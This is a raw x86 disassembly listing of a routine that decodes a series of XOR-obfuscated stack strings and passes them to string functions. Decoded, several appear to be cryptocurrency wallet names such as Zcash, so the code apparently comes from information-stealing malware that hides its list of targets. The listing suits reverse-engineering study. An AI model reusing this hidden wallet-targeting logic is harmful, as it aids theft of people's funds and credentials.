call fcn.00402a10
movaps xmm0, xmmword [0x547580]
lea eax, [ebp + 8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x534], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x10d
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x534], al
inc ecx
cmp ecx, 6
jb 0x418a30
lea eax, [ebp - 0x534]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0x1104]
mov byte [ebp - 0x52e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1104]
call fcn.00402b50
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b60
mov ecx, ebx
mov byte [ebp - 4], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418a88
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0xe
mov ecx, edi
mov byte [ebp - 4], 0x10
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1104]
call fcn.00402a10
sub esp, 0x18
mov dword [ebp - 0x33], 0xf9e8ebdd
lea eax, [ebp + 8]
mov dword [ebp - 0x14], esp
xorps xmm0, xmm0
mov byte [ebp - 0x2f], 0xe3
mov ecx, esp
movq qword [ebp - 0x2e], xmm0
push eax
mov word [ebp - 0x26], 0
call fcn.00483010
mov dword [ebp - 4], 0x111
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 5
jb 0x418af1
lea eax, [ebp - 0x33]
mov dword [0x55d544], ecx
push eax
lea ecx, [ebp - 0x111c]
mov byte [ebp - 0x2e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x111c]
call fcn.00402b50
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b60
mov ecx, ebx
mov byte [ebp - 4], 0x13
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418b40
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0x12
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x111c]
call fcn.00402a10
movaps xmm0, xmmword [0x5476f0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x4d1], 0xe3
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x4d0], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x115
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4d1], al
inc ecx
cmp ecx, 7
jb 0x418ba5
lea eax, [ebp - 0x4d1]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x1134]
mov byte [ebp - 0x4ca], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1134]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0x17
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1134]
call fcn.00402a10
movaps xmm0, xmmword [0x5485a0]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0x191], 0xe3eee1e3
mov ecx, esp
mov dword [ebp - 0x14], esp
mov byte [ebp - 0x18d], 0xff
movups xmmword [ebp - 0x18c], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x118
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x191], al
inc ecx
cmp ecx, 0xb
jb 0x418c50
lea eax, [ebp - 0x191]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0x114c]
mov byte [ebp - 0x186], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x114c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x114c]
call fcn.00402a10
movaps xmm0, xmmword [0x547390]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x2fd], 0xe1cb
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x2fb], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x11b
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2fd], al
inc ecx
cmp ecx, 8
jb 0x418cf0
lea eax, [ebp - 0x2fd]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x1164]
mov byte [ebp - 0x2f5], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1164]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0x1d
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1164]
call fcn.00402a10
movaps xmm0, xmmword [0x547360]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x2eb], 0xedd5
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x2e9], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x11e
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2eb], al
inc ecx
cmp ecx, 8
jb 0x418d90
lea eax, [ebp - 0x2eb]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x117c]
mov byte [ebp - 0x2e3], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x117c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0x20
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x117c]
call fcn.00402a10
movaps xmm0, xmmword [0x5494c0]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x666], 0
movups xmmword [ebp - 0x67e], xmm0
mov dword [ebp - 0x14], esp
mov ecx, esp
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x66e], xmm0
call fcn.00483010
mov dword [ebp - 4], 0x121
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x67e], al
inc ecx
cmp ecx, 0x10
jb 0x418e40
lea eax, [ebp - 0x67e]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0x1194]
mov byte [ebp - 0x66e], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1194]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0x23
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1194]
call fcn.00402a10
movaps xmm0, xmmword [0x548010]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0x17c], 0xedededcb
mov ecx, esp
mov dword [ebp - 0x14], esp
mov byte [ebp - 0x178], 0xee
movups xmmword [ebp - 0x177], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x124
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x17c], al
inc ecx
cmp ecx, 0xb
jb 0x418ee5
lea eax, [ebp - 0x17c]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0x11ac]
mov byte [ebp - 0x171], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x11ac]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0x26
call fcn.00413bf0
add esp, 0x30
lea ecx, [ebp - 0x11ac]
call fcn.00402a10
lea ecx, [ebp - 0x96c]
call fcn.00402a10
lea ecx, [ebp - 0x3dc]
call fcn.00402a10
lea ecx, [ebp - 0x984]
call fcn.00402a10
lea ecx, [ebp - 0x99c]
call fcn.00402a10
lea ecx, [ebp - 0x9b4]
call fcn.00402a10
lea ecx, [ebp - 0x9cc]
call fcn.00402a10
lea ecx, [ebp - 0x9e4]
call fcn.00402a10
lea ecx, [ebp - 0xaa4]
call fcn.00402a10
lea ecx, [ebp - 0xa2c]
call fcn.00402a10
lea ecx, [ebp - 0xa14]
call fcn.00402a10
lea ecx, [ebp - 0x3f4]
call fcn.00402a10
lea ecx, [ebp - 0xa8c]
call fcn.00402a10
lea ecx, [ebp - 0x9fc]
call fcn.00402a10
lea ecx, [ebp - 0xa74]
call fcn.00402a10
lea ecx, [ebp - 0xa5c]
call fcn.00402a10
lea ecx, [ebp - 0xa44]
call fcn.00402a10
lea ecx, [ebp + 8]
call fcn.00402a10
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret